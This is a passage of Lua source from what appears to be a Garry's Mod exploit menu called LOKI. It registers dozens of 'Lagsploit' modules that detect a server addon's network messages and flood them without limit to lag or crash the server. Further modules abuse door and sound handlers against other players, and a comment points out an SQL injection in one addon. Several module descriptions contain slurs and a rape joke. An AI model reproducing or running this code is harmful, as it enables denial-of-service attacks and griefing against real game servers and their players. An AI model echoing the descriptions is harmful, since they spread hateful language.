6103 } )
6104 LOKI.AddExploit( "Lagsploit", {
6105 desc = "Looks like someone didn't attend their classes",
6106 severity = 95,
6107 bools = {enabled = false},
6108 status = 2,
6109 times_per_tick = math.huge,
6110 scan = function() return LOKI.ValidNetString( "AdvDupe2_CanAutoSave" ) end,
6111 hooks = {
6112 Think = function(tbl, sploit)
6113 LOKI.NetStart( sploit, "AdvDupe2_CanAutoSave")
6114 net.SendToServer()
6115 end,
6116 },
6117 functions = {
6118 { typ = "bool", },
6119 },
6120 } )
6121 LOKI.AddExploit( "Lagsploit", {
6122 desc = "Dab on the server",
6123 severity = 95,
6124 bools = {enabled = false},
6125 status = 1,
6126 times_per_tick = math.huge,
6127 scan = function() return LOKI.ValidNetString( "sphys_dupe" ) end,
6128 hooks = {
6129 Think = function(tbl, sploit)
6130 LOKI.NetStart( sploit, "sphys_dupe")
6131 net.SendToServer()
6132 end,
6133 },
6134 functions = {
6135 { typ = "bool", },
6136 },
6137 } )
6138 LOKI.AddExploit( "Lagsploit", {
6139 desc = "Another one bites the dust",
6140 severity = 95,
6141 bools = {enabled = true},
6142 status = 1,
6143 msgs_per_tick = LOKI.GetEnabledCount,
6144 times_per_tick = math.huge,
6145 scan = function() return WireLib != nil end,
6146 hooks = {
6147 Think = function(tbl, sploit)
6148 LOKI.MultiSend(sploit)
6149 end,
6150 },
6151 functions = {
6152 { typ = "bools", tbl = {"wire_expression2_request_file", "wire_adv_upload", "wire_expression2_request_list", "wire_adv_unwire", "wire_expression2_client_request_set_extension_status"}}
6153 },
6154 } )
6155 LOKI.AddExploit( "Lagsploit", {
6156 desc = "Remind the server to download more RAM",
6157 severity = 95,
6158 bools = {enabled = false},
6159 status = 2,
6160 times_per_tick = math.huge,
6161 scan = function() return LOKI.ValidNetString( "pp_info_send" ) end,
6162 hooks = {
6163 Think = function(tbl, sploit)
6164 LOKI.NetStart( sploit, "pp_info_send")
6165 net.SendToServer()
6166 end,
6167 },
6168 functions = {
6169 { typ = "bool", },
6170 },
6171 } )
6172 LOKI.AddExploit( "Lagsploit", {
6173 desc = "My mom says I'm beautiful in my own way *sits on server*",
6174 severity = 95,
6175 bools = {enabled = true},
6176 status = 1,
6177 msgs_per_tick = LOKI.GetEnabledCount,
6178 times_per_tick = math.huge,
6179 scan = function() return LOKI.DynamicNetString("Prop2Mesh") end,
6180 hooks = {
6181 Think = function(tbl, sploit)
6182 LOKI.MultiSend(sploit)
6183 end,
6184 },
6185 functions = {
6186 { typ = "bools", tbl = {"Prop2MeshPostRemove", "Prop2MeshUpdateNWs"}}
6187 },
6188 } )
6189 LOKI.AddExploit( "Lagsploit", {
6190 desc = "*nuzzles server*",
6191 severity = 95,
6192 bools = {enabled = true},
6193 status = 1,
6194 msgs_per_tick = LOKI.GetEnabledCount,
6195 times_per_tick = math.huge,
6196 scan = function() return istable(TeamTable) end,
6197 hooks = {
6198 Think = function(tbl, sploit)
6199 LOKI.MultiSend(sploit, function()
6200 net.WriteEntity(game.GetWorld())
6201 end)
6202 end,
6203 },
6204 functions = {
6205 { typ = "bools", tbl = {"DemoteUser", "PromoteUser"}}
6206 },
6207 } )
6208 LOKI.AddExploit( "Lagsploit", {
6209 desc = "Incident ID: SERVER/1337 Reason: Cheating",
6210 severity = 95,
6211 bools = {enabled = false},
6212 status = 1,
6213 times_per_tick = math.huge,
6214 scan = function() return LOKI.ValidNetString("controlled_vars") || LOKI.DynamicNetString("diagnostics") || LOKI.DynamicNetString("luadev") end,
6215 hooks = {
6216 Think = function(tbl, sploit)
6217 LOKI.MultiSend(sploit)
6218 end,
6219 },
6220 functions = {
6221 { typ = "bools", tbl = {"diagnostics1", "diagnostics2", "diagnostics3", "controlled_vars", LOKI.DynamicNetString("luadev")}}
6222 },
6223 } )
6224 LOKI.AddExploit( "Lagsploit", {
6225 desc = "game.GetWorld():Remove()",
6226 severity = 95,
6227 bools = {enabled = false},
6228 status = 1,
6229 times_per_tick = math.huge,
6230 scan = function() return LOKI.ValidNetString("ContentRmvProps") end,
6231 hooks = {
6232 Think = function(tbl, sploit)
6233 LOKI.NetStart(sploit, "ContentRmvProps")
6234 net.SendToServer()
6235 end,
6236 },
6237 functions = {
6238 { typ = "bool" }
6239 },
6240 } )
6241 LOKI.AddExploit( "Lagsploit", {
6242 desc = "LocalPlayer():SetClothing(nil)",
6243 severity = 95,
6244 bools = {enabled = false},
6245 status = 1,
6246 times_per_tick = math.huge,
6247 scan = function() return LOKI.ValidNetString("bodygroups_change") end,
6248 hooks = {
6249 Think = function(tbl, sploit)
6250 LOKI.NetStart(sploit, "bodygroups_change")
6251 net.SendToServer()
6252 end,
6253 },
6254 functions = {
6255 { typ = "bool" }
6256 },
6257 } )
6258 LOKI.AddExploit( "Lagsploit", {
6259 desc = "Wash the server fans to keep them clean",
6260 severity = 95,
6261 bools = {enabled = false},
6262 status = 1,
6263 times_per_tick = math.huge,
6264 scan = function() return LOKI.ValidNetString("PS_ModifyItem") end,
6265 hooks = {
6266 Think = function(tbl, sploit)
6267 LOKI.NetStart(sploit, "PS_ModifyItem")
6268 net.SendToServer()
6269 end,
6270 },
6271 functions = {
6272 { typ = "bool" }
6273 },
6274 } )
6275 LOKI.AddExploit( "Lagsploit", {
6276 desc = "System.AllocMem(System.GetMem());",
6277 severity = 95,
6278 bools = {enabled = true},
6279 status = 1,
6280 msgs_per_tick = LOKI.GetEnabledCount,
6281 times_per_tick = math.huge,
6282 scan = function() return VJBASE_VERSION != nil end,
6283 hooks = {
6284 Think = function(tbl, sploit)
6285 LOKI.MultiSend(sploit)
6286 end,
6287 },
6288 functions = {
6289 { typ = "bools", tbl = {"vj_npcmover_removeall", "vj_npcmover_sv_startmove"}}
6290 },
6291 } )
6292 LOKI.AddExploit( "Lagsploit", {
6293 desc = "Use the servers GPU as a miner",
6294 severity = 95,
6295 bools = {enabled = false},
6296 status = 1,
6297 times_per_tick = math.huge,
6298 scan = function() return LOKI.ValidNetString("aom_set_bool") end,
6299 hooks = {
6300 Think = function(tbl, sploit)
6301 LOKI.NetStart(sploit, "aom_set_bool")
6302 net.SendToServer()
6303 end,
6304 },
6305 functions = {
6306 { typ = "bool" }
6307 },
6308 } )
6309 LOKI.AddExploit( "Lagsploit", {
6310 desc = "Place a hit on the server",
6311 severity = 95,
6312 bools = {enabled = false},
6313 status = 1,
6314 times_per_tick = math.huge,
6315 scan = function() return LOKI.ValidNetString("hhh_request") end,
6316 hooks = {
6317 Think = function(tbl, sploit)
6318 LOKI.NetStart(sploit, "hhh_request")
6319 net.SendToServer()
6320 end,
6321 },
6322 functions = {
6323 { typ = "bool" }
6324 },
6325 } )
6326 LOKI.AddExploit( "Lagsploit", {
6327 desc = "Force the server to listen to Gucci Gang",
6328 severity = 95,
6329 bools = {enabled = true},
6330 status = 1,
6331 msgs_per_tick = LOKI.GetEnabledCount,
6332 times_per_tick = math.huge,
6333 scan = function() return MGangs != nil || isfunction(MG_AdminMenu) end,
6334 hooks = {
6335 Think = function(tbl, sploit)
6336 LOKI.MultiSend(sploit)
6337 end,
6338 },
6339 functions = {
6340 { typ = "bools", tbl = {"MG2.Gang.Create", "MG2.Gang.UpdateGroups", "mg_creategang", "mg_plyupdateganggroups"}}
6341 },
6342 } )
6343 LOKI.AddExploit( "Lagsploit", {
6344 desc = "It's flu season and the server forgot to get vaccinated",
6345 severity = 95,
6346 bools = {enabled = true},
6347 status = 1,
6348 msgs_per_tick = LOKI.GetEnabledCount,
6349 times_per_tick = math.huge,
6350 scan = function() return LOKI.DynamicNetString("smartdisease") end,
6351 hooks = {
6352 Think = function(tbl, sploit)
6353 LOKI.MultiSend(sploit)
6354 end,
6355 },
6356 functions = {
6357 { typ = "bools", tbl = {"smartdisease_buy", "smartdisease_buy_vaccine"}}
6358 },
6359 } )
6360 LOKI.AddExploit( "Lagsploit", {
6361 desc = "cl_ping_delay 0",
6362 severity = 95,
6363 bools = {enabled = false},
6364 status = 1,
6365 times_per_tick = math.huge,
6366 scan = function() return LOKI.ValidNetString("StatusScreen_Ping") end,
6367 hooks = {
6368 Think = function(tbl, sploit)
6369 LOKI.NetStart(sploit, "StatusScreen_Ping")
6370 net.SendToServer()
6371 end,
6372 },
6373 functions = {
6374 { typ = "bool" }
6375 },
6376 } )
6377 LOKI.AddExploit( "Lagsploit", {
6378 desc = "Preparing to send data [inf parts]",
6379 severity = 95,
6380 bools = {enabled = true},
6381 status = 1,
6382 msgs_per_tick = LOKI.GetEnabledCount,
6383 times_per_tick = math.huge,
6384 scan = function() return LOKI.ValidNetString("ScreengrabInitCallback") || LOKI.ValidNetString("grab_ScreenshotToServer") end,
6385 hooks = {
6386 Think = function(tbl, sploit)
6387 LOKI.MultiSend(sploit)
6388 end,
6389 },
6390 functions = {
6391 { typ = "bools", tbl = {"ScreengrabInitCallback", "grab_ScreenshotToServer"}}
6392 },
6393 } )
6394 LOKI.AddExploit( "Lagsploit", {
6395 desc = "SERVER: *crashes internally*",
6396 severity = 95,
6397 bools = {enabled = false},
6398 status = 1,
6399 times_per_tick = math.huge,
6400 scan = function() return LOKI.ValidNetString("sgGiveFriendStatusAll") end,
6401 hooks = {
6402 Think = function(tbl, sploit)
6403 LOKI.NetStart(sploit, "sgGiveFriendStatusAll")
6404 net.SendToServer()
6405 end,
6406 },
6407 functions = {
6408 { typ = "bool" }
6409 },
6410 } )
6411 LOKI.AddExploit( "Lagsploit", {
6412 desc = "Be the giant flamboyant faggot kid",
6413 severity = 95,
6414 bools = {enabled = false},
6415 status = 1,
6416 times_per_tick = math.huge,
6417 scan = function() return LOKI.ValidNetString("NStatistics_SendPlayerStatistic") end,
6418 hooks = {
6419 Think = function(tbl, sploit)
6420 LOKI.NetStart(sploit, "NStatistics_SendPlayerStatistic")
6421 net.SendToServer()
6422 end,
6423 },
6424 functions = {
6425 { typ = "bool" }
6426 },
6427 } )
6428 LOKI.AddExploit( "Lagsploit", {
6429 desc = "The load limit is 40 tonnes but you're hauling 110",
6430 severity = 95,
6431 bools = {enabled = false},
6432 status = 1,
6433 times_per_tick = math.huge,
6434 scan = function() return LOKI.ValidNetString("SCarSpawnSendFile") end,
6435 hooks = {
6436 Think = function(tbl, sploit)
6437 LOKI.NetStart(sploit, "SCarSpawnSendFile")
6438 net.SendToServer()
6439 end,
6440 },
6441 functions = {
6442 { typ = "bool" }
6443 },
6444 } )
6445 LOKI.AddExploit( "Lagsploit", {
6446 desc = "Man, this server sure is laggy today",
6447 severity = 95,
6448 bools = {enabled = false},
6449 status = 1,
6450 times_per_tick = math.huge,
6451 scan = function() return LOKI.ValidNetString("ts_buytitle") end,
6452 hooks = {
6453 Think = function(tbl, sploit)
6454 LOKI.NetStart(sploit, "ts_buytitle")
6455 net.SendToServer()
6456 end,
6457 },
6458 functions = {
6459 { typ = "bool" }
6460 },
6461 } )
6462 LOKI.AddExploit( "Lagsploit", {
6463 desc = "Pull the power plug on the server",
6464 severity = 95,
6465 bools = {enabled = false},
6466 status = 1,
6467 times_per_tick = math.huge,
6468 scan = function() return LOKI.ValidNetString("UpdateNameColor") end,
6469 hooks = {
6470 Think = function(tbl, sploit)
6471 LOKI.NetStart(sploit, "UpdateNameColor")
6472 net.SendToServer()
6473 end,
6474 },
6475 functions = {
6476 { typ = "bool" }
6477 },
6478 } )
6479 LOKI.AddExploit( "Lagsploit", {
6480 desc = "I'll take one serving of poorly optimized code, please",
6481 severity = 95,
6482 bools = {enabled = false},
6483 status = 1,
6484 times_per_tick = math.huge,
6485 scan = function() return LOKI.ValidNetString("noob_playerperks") end,
6486 hooks = {
6487 Think = function(tbl, sploit)
6488 LOKI.NetStart(sploit, "noob_playerperks")
6489 net.SendToServer()
6490 end,
6491 },
6492 functions = {
6493 { typ = "bool" }
6494 },
6495 } )
6496 LOKI.AddExploit( "Lagsploit", {
6497 desc = "Who needs doors when you can just smash through a wall?",
6498 severity = 95,
6499 bools = {enabled = true},
6500 status = 1,
6501 msgs_per_tick = LOKI.GetEnabledCount,
6502 times_per_tick = math.huge,
6503 scan = function() return LOKI.DynamicNetString("advdoors") end,
6504 hooks = {
6505 Think = function(tbl, sploit)
6506 LOKI.MultiSend(sploit)
6507 end,
6508 },
6509 functions = {
6510 { typ = "bools", tbl = {"advdoors_purchasemod", "advdoors_updaterent", "advdoors_rent", "advdoors_settitle", "advdoors_coowneradd", "advdoors_coownerallowedremove", "advdoors_coownerremove", "advdoors_transferownership", "advdoors_toggleownership", "advdoors_addblacklist", "advdoors_removeblacklist", "advdoors_addjob", "advdoors_setgroup", "advdoors_jobremove", "advdoors_anyplayer", "advdoors_addjobplayer", "advdoors_jobremoveplayer", "advdoors_changeprice", "advdoors_otheractions"}}
6511 },
6512 } )
6513 LOKI.AddExploit( "Lagsploit", {
6514 desc = "Fill the server full of lead",
6515 severity = 95,
6516 bools = {enabled = false},
6517 status = 1,
6518 times_per_tick = math.huge,
6519 scan = function() return LOKI.ValidNetString("perm_buyweapon") end,
6520 hooks = {
6521 Think = function(tbl, sploit)
6522 LOKI.NetStart(sploit, "perm_buyweapon")
6523 net.SendToServer()
6524 end,
6525 },
6526 functions = {
6527 { typ = "bool" }
6528 },
6529 } )
6530 LOKI.AddExploit( "Lagsploit", {
6531 desc = "Pour some gas in the server room and light it up",
6532 severity = 95,
6533 bools = {enabled = true},
6534 status = 1,
6535 msgs_per_tick = LOKI.GetEnabledCount,
6536 times_per_tick = math.huge,
6537 scan = function() return LOKI.DynamicNetString("zrush") end,
6538 hooks = {
6539 Think = function(tbl, sploit)
6540 LOKI.MultiSend(sploit, function()
6541 net.WriteFloat(LOKI.GetLP():EntIndex())
6542 end)
6543 end,
6544 },
6545 functions = {
6546 { typ = "bools", tbl = {"zrush_BarrelCollectFuel_net", "zrush_BarrelSplitFuel_net", "zrush_MachineCrateOB_Place_net", "zrush_MachineCrateBuilder_DeselectEntity_net"}}
6547 },
6548 } )
6549 LOKI.AddExploit( "Lagsploit", {
6550 desc = "Drunk drive through the server farm",
6551 severity = 95,
6552 bools = {enabled = false},
6553 status = 1,
6554 times_per_tick = math.huge,
6555 scan = function() return LOKI.ValidNetString("CarDisplayPurchaseCar") end,
6556 hooks = {
6557 Think = function(tbl, sploit)
6558 LOKI.NetStart(sploit, "CarDisplayPurchaseCar")
6559 net.SendToServer()
6560 end,
6561 },
6562 functions = {
6563 { typ = "bool" }
6564 },
6565 } )
6566 LOKI.AddExploit( "Lagsploit", {
6567 desc = "Beat the server to death with a cash register",
6568 severity = 95,
6569 bools = {enabled = true},
6570 status = 1,
6571 msgs_per_tick = LOKI.GetEnabledCount,
6572 times_per_tick = math.huge,
6573 scan = function() return LOKI.DynamicNetString("cashregister") end,
6574 hooks = {
6575 Think = function(tbl, sploit)
6576 LOKI.MultiSend(sploit, function()
6577 net.WriteEntity(LOKI.GetLP())
6578 end)
6579 end,
6580 },
6581 functions = {
6582 { typ = "bools", tbl = {"cashregister_settings_color", "cashregister_settings_remowner", "cashregister_settings_addowner", "cashregister_settings_setpayrece", "cashregister_do_reset", "cashregister_do_refound"}}
6583 },
6584 } )
6585 LOKI.AddExploit( "Lagsploit", {
6586 desc = "Order a DDoS on the Black Market",
6587 severity = 95,
6588 bools = {enabled = false},
6589 status = 1,
6590 times_per_tick = math.huge,
6591 scan = function() return LOKI.ValidNetString("bm_DoAddMarket") end,
6592 hooks = {
6593 Think = function(tbl, sploit)
6594 LOKI.NetStart(sploit, "bm_DoAddMarket")
6595 net.SendToServer()
6596 end,
6597 },
6598 functions = {
6599 { typ = "bool" }
6600 /*
6601 local ply = net.ReadEntity() -- list any item as any player
6602 local price = net.ReadString() -- any price (even negative)
6603 local item = net.ReadEntity() -- any entity (also removes it)
6604 local tbl = net.ReadTable() -- ent_name, amount, typ
6605 NOTE: SQLi in amount and typ
6606 */
6607 },
6608 } )
6609 LOKI.AddExploit( "Lagsploit", {
6610 desc = "There's no brakes on the rape mobile",
6611 severity = 95,
6612 bools = {enabled = true},
6613 status = 1,
6614 msgs_per_tick = LOKI.GetEnabledCount,
6615 times_per_tick = math.huge,
6616 scan = function() return LOKI.DynamicNetString("fcd.") end,
6617 hooks = {
6618 Think = function(tbl, sploit)
6619 LOKI.MultiSend(sploit, {["fcd_chopshopyes"] = function() net.WriteEntity(LOKI.GetLP()) end})
6620 end,
6621 },
6622 functions = {
6623 { typ = "bools", tbl = {"fcd.addVehicle", "fcd.spawnVehicle", "fcd_chopshopyes"} }
6624 },
6625 } )
6626 LOKI.AddExploit( "Lagsploit", {
6627 desc = "Order an Industrial Grade Lag Bomb",
6628 severity = 95,
6629 bools = {enabled = false},
6630 status = 1,
6631 times_per_tick = math.huge,
6632 scan = function() return LOKI.ValidNetString("gindustrial_item_sources") end,
6633 hooks = {
6634 Think = function(tbl, sploit)
6635 LOKI.NetStart(sploit, "gindustrial_item_sources")
6636 net.SendToServer()
6637 end,
6638 },
6639 functions = {
6640 { typ = "bool" }
6641 },
6642 } )
6643 LOKI.AddExploit( "Lagsploit", {
6644 desc = "Start Hacking Mission",
6645 severity = 95,
6646 bools = {enabled = false},
6647 status = 1,
6648 times_per_tick = math.huge,
6649 scan = function() return LOKI.ValidNetString("StartHackingMission") end,
6650 hooks = {
6651 Think = function(tbl, sploit)
6652 LOKI.NetStart(sploit, "StartHackingMission")
6653 net.SendToServer()
6654 end,
6655 },
6656 functions = {
6657 { typ = "bool" }
6658 },
6659 } )
6660 LOKI.AddExploit( "Lagsploit", {
6661 desc = "Damn printers always getting jammed",
6662 severity = 95,
6663 bools = {enabled = true},
6664 status = 1,
6665 msgs_per_tick = LOKI.GetEnabledCount,
6666 times_per_tick = math.huge,
6667 scan = function() return LOKI.DynamicNetString("NGII_") end,
6668 hooks = {
6669 Think = function(tbl, sploit)
6670 LOKI.MultiSend(sploit)
6671 end,
6672 },
6673 functions = {
6674 { typ = "bools", tbl = {"NGII_TakeMoney", "NGII_UninstallMod"} }
6675 },
6676 } )
6677 LOKI.AddExploit( "Lagsploit", {
6678 desc = "Only the finest grade lag",
6679 severity = 95,
6680 bools = {enabled = false},
6681 status = 1,
6682 times_per_tick = math.huge,
6683 scan = function() return LOKI.ValidNetString("ncpstoredoact") end,
6684 hooks = {
6685 Think = function(tbl, sploit)
6686 LOKI.NetStart(sploit, "ncpstoredoact")
6687 net.SendToServer()
6688 end,
6689 },
6690 functions = {
6691 { typ = "bool" }
6692 },
6693 } )
6694 LOKI.AddExploit( "Lagsploit", {
6695 desc = "Purchase a DDoS attack with your spare credits",
6696 severity = 95,
6697 bools = {enabled = true},
6698 status = 1,
6699 msgs_per_tick = LOKI.GetEnabledCount,
6700 times_per_tick = math.huge,
6701 scan = function() return LOKI.DynamicNetString("credit_") end,
6702 hooks = {
6703 Think = function(tbl, sploit)
6704 LOKI.MultiSend(sploit)
6705 end,
6706 },
6707 functions = {
6708 { typ = "bools", tbl = {"credit_pay", "credit_loan", "credit_loan_deny"} }
6709 },
6710 } )
6711 LOKI.AddExploit( "Lagsploit", {
6712 desc = "Load up LOIC like a big boy hacker",
6713 severity = 95,
6714 bools = {enabled = false},
6715 status = 1,
6716 times_per_tick = math.huge,
6717 scan = function() return LOKI.ValidNetString("usec_keypad") end,
6718 hooks = {
6719 Think = function(tbl, sploit)
6720 LOKI.NetStart(sploit, "usec_keypad")
6721 net.SendToServer()
6722 end,
6723 },
6724 functions = {
6725 { typ = "bool" }
6726 },
6727 } )
6728 LOKI.AddExploit( "Lagsploit", {
6729 desc = "Show the world how much of a sore loser you are",
6730 severity = 95,
6731 bools = {enabled = false},
6732 status = 1,
6733 times_per_tick = math.huge,
6734 scan = function() return LOKI.ValidNetString("movePiece") end,
6735 hooks = {
6736 Think = function(tbl, sploit)
6737 LOKI.NetStart(sploit, "movePiece")
6738 net.SendToServer()
6739 end,
6740 },
6741 functions = {
6742 { typ = "bool" }
6743 },
6744 } )
6745 LOKI.AddExploit( "Lagsploit", {
6746 desc = "Man, this lag sure does make driving difficult",
6747 severity = 95,
6748 bools = {enabled = true},
6749 status = 1,
6750 msgs_per_tick = LOKI.GetEnabledCount,
6751 times_per_tick = math.huge,
6752 scan = function() return nucardealer != nil end,
6753 hooks = {
6754 Think = function(tbl, sploit)
6755 LOKI.MultiSend(sploit)
6756 end,
6757 },
6758 functions = {
6759 { typ = "bools", tbl = {"nucauction_post", "nucardealer_spawn"} }
6760 },
6761 } )
6762 LOKI.AddExploit( "Lagsploit", {
6763 desc = "Looks like the server printer ran out of ink",
6764 severity = 95,
6765 bools = {enabled = true},
6766 status = 1,
6767 msgs_per_tick = LOKI.GetEnabledCount,
6768 times_per_tick = math.huge,
6769 scan = function() return LOKI.ValidNetString("gPrinters.addUpgrade", "gPrinters.sendID") end,
6770 hooks = {
6771 Think = function(tbl, sploit)
6772 LOKI.MultiSend(sploit)
6773 end,
6774 },
6775 functions = {
6776 { typ = "bools", tbl = {"gPrinters.addUpgrade", "gPrinters.sendID"} }
6777 },
6778 } )
6779 LOKI.AddExploit( "Lagsploit", {
6780 desc = "Faulty printers causing the servers ink to bleed",
6781 severity = 95,
6782 bools = {enabled = true},
6783 status = 1,
6784 msgs_per_tick = LOKI.GetEnabledCount,
6785 times_per_tick = math.huge,
6786 scan = function() return LOKI.DynamicNetString("lithium") end,
6787 hooks = {
6788 Think = function(tbl, sploit)
6789 LOKI.MultiSend(sploit)
6790 end,
6791 },
6792 functions = {
6793 { typ = "bools", tbl = {"buyLp2Item", "lithium_printers_2_small_rack_screen", "lithiumPrinter2Donator", "lithiumPrinter2Obsidian", "lithiumPrinter2Silver", "lithiumPrinter2Iron", "lithiumPrinter2Economic", "lithiumPrinter2Bronze"} }
6794 },
6795 } )
6796 LOKI.AddExploit( "Lagsploit", {
6797 desc = "Suggest the server gets better security",
6798 severity = 95,
6799 bools = {enabled = true},
6800 status = 1,
6801 msgs_per_tick = LOKI.GetEnabledCount,
6802 times_per_tick = math.huge,
6803 scan = function() return LOKI.DynamicNetString("Suggestions") end,
6804 hooks = {
6805 Think = function(tbl, sploit)
6806 LOKI.MultiSend(sploit)
6807 end,
6808 },
6809 functions = {
6810 { typ = "bools", tbl = {"SuggestionsClientEdits", "SuggestionsGetInfo"}}
6811 },
6812 } )
6813 LOKI.AddExploit( "Lagsploit", {
6814 desc = "'net library optimizations'",
6815 severity = 95,
6816 bools = {enabled = true},
6817 status = 1,
6818 msgs_per_tick = LOKI.GetEnabledCount,
6819 times_per_tick = math.huge,
6820 scan = function() return LOKI.DynamicNetString("LibK") end,
6821 hooks = {
6822 Think = function(tbl, sploit)
6823 LOKI.MultiSend(sploit)
6824 end,
6825 },
6826 functions = {
6827 { typ = "bools", tbl = {"LibK_Transaction", "LibK_Transaction"}}
6828 },
6829 } )
6830 LOKI.AddExploit( "Lagsploit", {
6831 desc = "Short Circuit the server",
6832 severity = 95,
6833 bools = {enabled = false},
6834 status = 1,
6835 times_per_tick = math.huge,
6836 scan = function() return LOKI.ValidNetString("PS2_ItemServerRPC") end,
6837 hooks = {
6838 Think = function(tbl, sploit)
6839 LOKI.NetStart(sploit, "PS2_ItemServerRPC")
6840 net.SendToServer()
6841 end,
6842 },
6843 functions = {
6844 { typ = "bool" }
6845 },
6846 } )
6847 LOKI.AddExploit( "Lagsploit", {
6848 desc = "Who thought it was a good idea to run printers on battery?",
6849 severity = 95,
6850 bools = {enabled = true},
6851 status = 1,
6852 msgs_per_tick = LOKI.GetEnabledCount,
6853 times_per_tick = math.huge,
6854 scan = function() return LOKI.DynamicNetString("fg_printer") end,
6855 hooks = {
6856 Think = function(tbl, sploit)
6857 LOKI.MultiSend(sploit)
6858 end,
6859 },
6860 functions = {
6861 { typ = "bools", tbl = {"fg_printer_upgrade_speed", "fg_printer_upgrade_quality", "fg_printer_upgrade_cooler", "fg_printer_power", "fg_printer_money"} }
6862 },
6863 } )
6864 LOKI.AddExploit( "Lagsploit", {
6865 desc = "Start a food fight in the server room",
6866 severity = 95,
6867 bools = {enabled = true},
6868 status = 1,
6869 msgs_per_tick = LOKI.GetEnabledCount,
6870 times_per_tick = math.huge,
6871 scan = function() return LOKI.DynamicNetString("zfs_") end,
6872 hooks = {
6873 Think = function(tbl, sploit)
6874 LOKI.MultiSend(sploit)
6875 end,
6876 },
6877 functions = {
6878 { typ = "bools", tbl = {"zfs_ItemPriceChange_sv", "zfs_ItemBuyUpdate_cl"} }
6879 },
6880 } )
6881 LOKI.AddExploit( "Lagsploit", {
6882 desc = "Add a special server lag effect to your hat",
6883 severity = 95,
6884 bools = {enabled = true},
6885 status = 1,
6886 msgs_per_tick = LOKI.GetEnabledCount,
6887 times_per_tick = math.huge,
6888 scan = function() return istable(HAT) end,
6889 hooks = {
6890 Think = function(tbl, sploit)
6891 LOKI.MultiSend(sploit)
6892 end,
6893 },
6894 functions = {
6895 { typ = "bools", tbl = {"BuyHats", "SendCustomHatData"} }
6896 },
6897 } )
6898 LOKI.AddExploit( "Lagsploit", {
6899 desc = "Add a special server lag effect to your hat",
6900 severity = 95,
6901 bools = {enabled = true},
6902 status = 1,
6903 msgs_per_tick = LOKI.GetEnabledCount,
6904 times_per_tick = math.huge,
6905 scan = function() return LOKI.DynamicNetString("VChars::") end,
6906 hooks = {
6907 Think = function(tbl, sploit)
6908 LOKI.MultiSend(sploit)
6909 end,
6910 },
6911 functions = {
6912 { typ = "bools", tbl = {"VChars::SelectCharacter", "VChars::CreateCharacter"} }
6913 },
6914 } )
6915 LOKI.AddExploit( "Lagsploit", {
6916 desc = "Modern hardware isn't designed for AI yet",
6917 severity = 95,
6918 bools = {enabled = true},
6919 status = 1,
6920 msgs_per_tick = LOKI.GetEnabledCount,
6921 times_per_tick = math.huge,
6922 scan = function() return LOKI.DynamicNetString("npctool") end,
6923 hooks = {
6924 Think = function(tbl, sploit)
6925 LOKI.MultiSend(sploit)
6926 end,
6927 },
6928 functions = {
6929 { typ = "bools", tbl = {"npctool_spawner_clearundo", "sv_npctool_spawner_ppoint"} }
6930 },
6931 } )
6932 LOKI.AddExploit( "Lagsploit", {
6933 desc = "game.GetWorld():Fire('Kill')",
6934 severity = 95,
6935 bools = {enabled = false},
6936 status = 1,
6937 msgs_per_tick = LOKI.GetEnabledCount,
6938 times_per_tick = math.huge,
6939 scan = function() return LOKI.ValidNetString("npcData") end,
6940 hooks = {
6941 Think = function(tbl, sploit)
6942 LOKI.NetStart(sploit, "npcData")
6943 net.SendToServer()
6944 end,
6945 },
6946 functions = {
6947 { typ = "bool" }
6948 },
6949 } )
6950 LOKI.AddExploit( "Lagsploit", {
6951 desc = "Flood the server lua stealer",
6952 severity = 95,
6953 bools = {enabled = false},
6954 status = 1,
6955 msgs_per_tick = LOKI.GetEnabledCount,
6956 times_per_tick = math.huge,
6957 scan = function() return LOKI.ValidNetString("gamemode_reload_string") end,
6958 hooks = {
6959 Think = function(tbl, sploit)
6960 LOKI.NetStart(sploit, "gamemode_reload_string")
6961 net.WriteString("GET ODIUM.PRO")
6962 net.SendToServer()
6963 end,
6964 },
6965 functions = {
6966 { typ = "bool" }
6967 },
6968 } )
6969 LOKI.AddExploit( "Noise Exploit", {
6970 desc = "Causes players to become Lil Pump",
6971 severity = 1,
6972 bools = {enabled = false},
6973 status = 1,
6974 msgs_per_tick = function() return #LOKI.GetStored( "lil_plyz", {} ) end,
6975 times_per_tick = math.huge,
6976 scan = function() return LOKI.ValidNetString( "wanted_radio" ) end,
6977 hooks = {
6978 Think = function(tbl, sploit)
6979 for k, v in ipairs(LOKI.GetStored( "lil_plyz", {} )) do
6980 if IsValid(v) then
6981 LOKI.NetStart(sploit, 'wanted_radio')
6982 net.WriteEntity(v)
6983 net.WriteInt(1, 4)
6984 net.SendToServer()
6985 end
6986 end
6987 end,
6988 },
6989 functions = {
6990 { typ = "players", addr = "lil_plyz" },
6991 { typ = "bool", },
6992 },
6993 } )
6994 LOKI.AddExploit( "Noise Exploit", {
6995 desc = "Causes players to become African",
6996 severity = 1,
6997 bools = {enabled = false},
6998 status = 1,
6999 msgs_per_tick = function() return #LOKI.GetStored( "afro_plyz", {} ) end,
7000 times_per_tick = math.huge,
7001 scan = function() return LOKI.ValidNetString( "lockpick_sound" ) end,
7002 hooks = {
7003 Think = function(tbl, sploit)
7004 for k, v in ipairs(LOKI.GetStored( "afro_plyz", {} )) do
7005 if IsValid(v) then
7006 LOKI.NetStart(sploit, 'lockpick_sound')
7007 net.WriteEntity(v)
7008 net.SendToServer()
7009 end
7010 end
7011 end,
7012 },
7013 functions = {
7014 { typ = "players", addr = "afro_plyz" },
7015 { typ = "bool", },
7016 },
7017 } )
7018 LOKI.AddExploit( "Door Exploit", {
7019 desc = "Exploit the door you're looking at",
7020 severity = 1,
7021 bools = {enabled = false},
7022 status = 1,
7023 times_per_tick = 1,
7024 scan = function() return LOKI.ValidNetString( "fp_as_doorHandler" ) end,
7025 hooks = {
7026 Think = function(tbl, sploit)
7027 local v = LOKI.GetLP():GetEyeTrace().Entity
7028 local doorOwner = isfunction(v.getDoorData) && LOKI.ValidTable(v:getDoorData()) && v:getDoorData()["owner"] || nil
7029 LOKI.NetStart(sploit, "fp_as_doorHandler")
7030 net.WriteEntity(v)
7031 net.WriteString(tbl[1])
7032 if(doorOwner) then
7033 net.WriteDouble(doorOwner)
7034 end
7035 net.SendToServer()
7036 end,
7037 },
7038 functions = {
7039 { typ = "func", Name = "Lock", args = {"lock"} },
7040 { typ = "func", Name = "Unlock", args = {"unlock"} },
7041 { typ = "func", Name = "Remove Owner", args = {"removeOwner"} }
7042 },
7043 } )
7044 LOKI.AddExploit( "Door Exploit", {
7045 desc = "Unlock the door you're looking at",
7046 severity = 1,
7047 bools = {enabled = false},
7048 status = -1,
7049 times_per_tick = 1,
7050 scan = function() return LOKI.ValidNetString( "OpenGates" ) end,
